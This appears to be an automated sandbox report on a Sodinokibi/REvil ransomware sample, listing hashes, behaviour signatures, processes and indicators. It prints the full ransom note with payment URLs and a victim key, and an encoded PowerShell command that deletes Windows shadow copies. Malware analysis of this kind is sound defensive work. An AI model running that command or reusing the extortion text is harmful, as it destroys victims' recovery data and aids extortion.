Analysis
-
max time kernel
148s -
max time network
168s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 01:08
General
-
Target
c274a1456af6b5b74ea6290e2f4a559d88124d7222b0c8944e6f68cc12a38b1f.exe
-
Size
171KB
-
MD5
36e5aa57f009b1aa6c98a2fdc2fc1d76
-
SHA1
fbc3e16c0ebdee76baf76624bdb580a2019c3ae6
-
SHA256
c274a1456af6b5b74ea6290e2f4a559d88124d7222b0c8944e6f68cc12a38b1f
-
SHA512
ecbc344cdccc4ac6caea0a2d3536713093e09e21d62d2a14387d3a97fd8be5b6ba80e93eff925bad88d36be0b03c389a3879b81f2a1bbf7e7ef7edc5a5301917
Score
10/10
Malware Config
Extracted
Path
C:\2k3yh10-readme.txt
Family
sodinokibi
Ransom Note
---=== Welcome. Again. ===---
[+] Whats Happen? [+]
Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 2k3yh10.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).
[+] What guarantees? [+]
Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.
[+] How to get access on website? [+]
You have two ways:
1) [Recommended] Using a TOR browser!
a) Download and install TOR browser from this site: https://torproject.org/
b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0C422721B947C4ED
2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
b) Open our secondary website: http://decryptor.cc/0C422721B947C4ED
Warning: secondary website can be blocked, thats why first variant much better and more available.
When you open our website, put the following data in the input form:
Key:
O5rroQVyauUv6K9FSILsx+GCdpU7ybHeqzXaukRs0ZheGJrtKyjrSUn+qeC9+RZV
PBK4PyB6/wnUtCNHq6GXm2LMmfR24I7apEtFgp3CMPOWNgiLsgSNzqgCKFZ/etNo
SHBmycoBm3Na2jtIHJ/UBLsM77DzYkddl2mVHHGP6/xA/59XfIl/TcmoZtL2slKZ
ZjX6CBmZ9GM33+K/O51HeEo7+VZDHbozXdBfm+accZdEd6ihZCXrUOnvYrBv1yKa
Gk9IkX+IqNnY0XJgXKqH6z1W1rxVvc6SwdQ5xsnKxdOHSjjTy36bbQIzOiMtcJcp
wcyppQcqBrviQ8cBD/eFtCIG6eXICqTrzDDazs53BY+ezZ8J91WZgOu8N/nq0Zi0
yJ58eubL0T1TZuya5jRijSHscvOfqcRy5VsMa3RSETxdxvLjI90kjyoBOLihoJSl
iKIKenJZUECLRK6S4Jn9G9WMOC970zqUgojzUqGLCBVpx++UJyTNS00CxNXQ2O91
qtQ36LGul+5UsJoCB4ocfwWrNTt+eJeq7GlIguR3u5yEnR2DHppHAWsYQAOU31LS
bnieumYqCB+D41C+FFfBIbypvnb8PTRhsa6US5KKw+7v9xI3hmIDeUuoEOFhXa2g
PaGUQs8oacy5JplWZ+fDuIEm5cnL75zmEaKGfGviCaKcN0X6Cb+/bHC8Q+eBgN9H
qCwLZqO4cuh4JeHmZmqS9xxiy/WWfiBJpb550yxNY/m3A85Um2MviFpw9iXsk9yb
JpqyYRml5YWD/Ng6L7v/7jDud0n/xyexQn8Y1VZy0zekmMTdxLM+cGRMvlRNf+kN
rgU7YM2TetMMDJq+n+qGCX4P9eQF3xXnFzKACDO1muwqBImpzi3JmAkRRk/XTYeU
XMYB4XCJsZQyJW9bNT7WC67zfCL/Ri8frjWOGILbjzy/qPdbP5PAqeNXwqnLGzLv
qlEDG63Ouk4/iyvBKBBcjlKYNCERsE/HONX7g3kBNrY4QjJPEJqGIvjes2jNn0FX
ddO3x8PCmKvmUcp9yTYX+LMuFV7LT8l4P3wOnNQV+QRmA1yuI4IWbNbmJa6kfvxt
XuE9ukIVucNIs2BcDxkEM8i64k8m4DhiiRbat52g4/zs3XLXLC+tI918VG9AwT8q
zYUkY8djIojCvgC7i5ZHlQQcK5dem2eobaX/732L2QUwbVvBCQCTv2TXcsHsh5u4
wXKNYWDOaOaePJWlZnH2h0viaPfsQs8Jn4XTcWV7RHNm7v2qJXYmflYs7hnisnTL
mgGSSzEnOO+JbDvorYEF1XuhUCuVig1uEZM=
Extension name:
2k3yh10
-----------------------------------------------------------------------------------------
!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!
ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!
URLs
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0C422721B947C4ED
http://decryptor.cc/0C422721B947C4ED
Signatures
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Modifies extensions of user files 10 IoCs
Ransomware generally changes the extension on encrypted files.
-
Adds Run key to start application 2 TTPs 2 IoCs
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 18 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 6 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c274a1456af6b5b74ea6290e2f4a559d88124d7222b0c8944e6f68cc12a38b1f.exe"C:\Users\Admin\AppData\Local\Temp\c274a1456af6b5b74ea6290e2f4a559d88124d7222b0c8944e6f68cc12a38b1f.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
8KB
-
Filesize
12KB
-
Filesize
11.4MB
-
Filesize
124KB
-
Filesize
8KB